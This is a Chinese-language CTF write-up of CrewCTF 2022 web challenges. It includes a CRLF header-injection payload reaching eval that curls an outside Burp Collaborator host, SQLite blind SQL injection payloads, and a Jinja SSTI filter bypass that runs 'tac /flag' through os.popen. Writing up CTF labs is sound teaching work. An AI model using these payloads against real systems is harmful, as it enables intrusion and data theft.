crewctf2022

crewctf2022

难度适中的一场比赛 很好!

web

CuaaS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
{
clean_and_send($_POST['url']);
}

function clean_and_send($url){
$uncleanedURL = $url; // should be not used anymore
$values = parse_url($url); // 这里是不是会可能出问题
$host = explode('/',$values['host']);
$query = $host[0];
$data = array('host'=>$query);
$cleanerurl = "http://127.0.0.1/cleaner.php";
$stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
'method' => 'POST',
'header' => "X-Original-URL: $uncleanedURL",
'content' => http_build_query($data)
]
]));
echo $stream;
}


?>

我们能操控的只有这个data

我们想要影响 header 只有去 搞这个 $uncleanedURL

能不能拓展一下

类似 想一下怎么换行就ok

1
http://www.baidu.com?name=123&password=666\r\nX-Visited-Before: system('ls');

查了下 貌似要用数组才行

不知道单纯的换行行不行

trytry

1
2
3
4
5
POST / HTTP/1.0
Host: 127.0.0.1:6666
Connection: close
X-Original-URL: http://www.baidu.com
X-Visited-Before:system('ls')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

die("<img src='https://imgur.com/x7BCUsr.png'>");

}


echo "<br>There your cleaned url: ".$_POST['host'];
echo "<br>Thank you For Using our Service!";


function tryandeval($value){
echo "<br>How many you visited us ";
eval($value);
}


foreach (getallheaders() as $name => $value) {
if ($name == "X-Visited-Before"){
tryandeval($value);
}}
?>

要请求头有 X-Visited-Before 我们要想办法在哪自定义一个请求头

1
http://www.baidu.com?name=123\r\nX-Visited-Before: `ls`;

不知道为什么打不通 emmm

payload

1
http://www.baidu.com?name=123\r\nX-Visited-Before: system('curl https://t4ye9w6naqyv5q8750a2aimw1n7dv2.burpcollaborator.net');

最后还要绕一个 disable fuction 我是zz

Marvel Pick

Pick your favorite character in marvel

EU mirror: http://104.155.50.189:1337

US mirrror: http://34.148.209.88:1337

Asia mirror: http://34.126.83.114:1337

Author : st4rn#0086

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const marvel = [
'spiderman', 'ironman', 'captainamerica', 'nickfury'
]

function fetchMarvelVotesCount (marvel) {
fetch(`/api.php?character=${marvel}`)
.then(response => response.json())
.then(results => {
const vote_count_html = document.querySelector(`#vote-count-${marvel}`)
const total_vote = results.data.vote_count

if (total_vote > 1) {
vote_count_html.innerHTML = `${total_vote} Votes`
} else {
vote_count_html.innerHTML = `${total_vote} Vote`
}
})
}

function vote (marvel) {
const formData = new FormData()
formData.append('character', marvel)

fetch('/api.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
if (result.success) {
fetchMarvelVotesCount(marvel)
alert('successful voting')
} else {
alert(result.error)
}
})
.catch(error => {
alert('error');
});

}

marvel.forEach(item => {
fetchMarvelVotesCount(item)
})

感觉只有一个点有搞头 /api.php

这是搞了个文件?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api.php HTTP/1.1
Host: 34.126.83.114:1337
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX6nmVaSWGtDzSKE1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 154

------WebKitFormBoundaryX6nmVaSWGtDzSKE1
Content-Disposition: form-data; name="character"

captainamerica
------WebKitFormBoundaryX6nmVaSWGtDzSKE1--

先考虑一下是否存在 sql注入?这种通过上传文件来进行数据库查询 感觉很奇怪

之前那种技术好像 就是两个文件拼接来绕过 但是不知道能起的到什么特殊作用

在查询的时候整了点报错出来

1
2
3
4
5
<b>Fatal error</b>:  Uncaught PDOException: SQLSTATE[HY000]: General error: 1 near &quot;11&quot;: syntax error in /var/www/api.php:75
Stack trace:
#0 /var/www/api.php(75): PDO-&gt;query('SELECT * FROM c...')
#1 {main}
thrown in <b>/var/www/api.php</b> on line <b>75</b><br />

继续试一下sql注入

单引号会直接导致报错

1
select * from characters where name = 'ironman';
1
select * from characters where name = 'ironman' Or 1='1';
1
2
3
4
select
or
--
and

"没被过滤 而是被转义

未被过滤

1
#
1
select * from characters where name = 'ironman' Or '1'='1';

现在如何判断数据库?是主要问题

我们尝试了 select database() 但是会报错

尝试了 select sqlite_version() 成功了 看来数据库是sqlite

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md

1
/api.php?character=ironman' And (SELECT sql FROM sqlite_schema) And'1

接下来就是考虑一下怎么判断

可以使用时间盲注

1
/api.php?character=captainamerica'  Or  (cAse When(Substr(sqlite_version(),1,1)>'100') Then raNdomblob(200000) Else 0 eNd)  And'1

大概5s

布尔注入也可以

1
payload = "captainamerica' And (Substr((Select group_concat(sql) from sqlite_master),1,1)<'d') aNd '1"

然后写脚本二分就行了

UploadZ

给了 .htaccess 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<IfModule mod_rewrite.c>

<IfModule mod_negotiation.c>
Options -MultiViews
</IfModule>

RewriteEngine On


##

RewriteRule ^storage/temp/protected/.* index.php [L,NC]
RewriteRule ^storage/app/uploads/protected/.* index.php [L,NC]

##
## White listed folders
##
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !/storage/app/temp/.*
RewriteCond %{REQUEST_FILENAME} !/storage/app/uploads/.*

RewriteRule !^index.php index.php [L,NC]


RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} \.php$
RewriteRule !^index.php index.php [L,NC]


RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]

</IfModule>

给了php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
function create_temp_file($temp,$name){
$file_temp = "storage/app/temp/".$name;
copy($temp,$file_temp);

return $file_temp;
}
function gen_uuid($length=6) {
$keys = array_merge(range('a', 'z'), range('A', 'Z'));
for($i=0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];

}

return $key;
}
function move_upload($source,$des){
$name = gen_uuid();
$des = "storage/app/uploads/".$name.$des;
copy($source,$des);
sleep(1);// for loadblance and anti brute
unlink($source);
return $des;
}
if (isset($_FILES['uploadedFile']))
{
// get details of the uploaded file
$fileTmpPath = $_FILES['uploadedFile']['tmp_name'];
$fileName = basename($_FILES['uploadedFile']['name']);
$fileNameCmps = explode(".", $fileName);
$fileExtension = strtolower(end($fileNameCmps));




$dest_path = $uploadFileDir . $newFileName;
$file_temp = create_temp_file($fileTmpPath, $fileName);
echo "your file in ".move_upload($file_temp,$fileName);

}
if(isset($_GET["clear_cache"])){
system("rm -r storage/app/uploads/*");
}
?>

EZchall

很明显 就是去绕 ssti

1
render_template_string(payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import string

UNALLOWED = [
'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','=','~']


def check_filter(input):
input = input.lower()
if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1:
return False
if len(input) < 115:
for char in input:
if char in string.digits:
return False
for i in UNALLOWED:
if i in input:
return False
return True
return False

登录这里需要绕过一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/login', methods=['GET','POST'])
def login():
if 'user' in session:
return redirect(url_for('dashboard'))
else:
if request.method == "POST":
user, passwd = '', ''
user = request.form['user']
passwd = request.form['passwd']
if user == 'admin' and bdecode(passwd) == 'pass is admin ??' and len(passwd) == 24 and passwd != 'cGFzcyBpcyBhZG1pbiA/Pw==':
session['user'] = user
return redirect(url_for('dashboard'))
return render_template('login.html', msg='Incorrect !')
return render_template('login.html')

绕过方式

1
cGFzcyBpcyBhZG1pbiA/Pw==  --> cGFzcyBpcyBhZG1pbiA/Px==

可能是最后一位不重要吧

ssti 的绕过很简单

["__ba" "se__"] 就可以绕过

但是他这里很明显不想让你去 curl

所以我们尝试把flag写到某个地方 比如session中

payload

{%if session.update({'f':cycler['__in' 'it__']['__glo' 'bals__']['os']['popen']('tac /flag')['re' 'ad']()}{%endif%}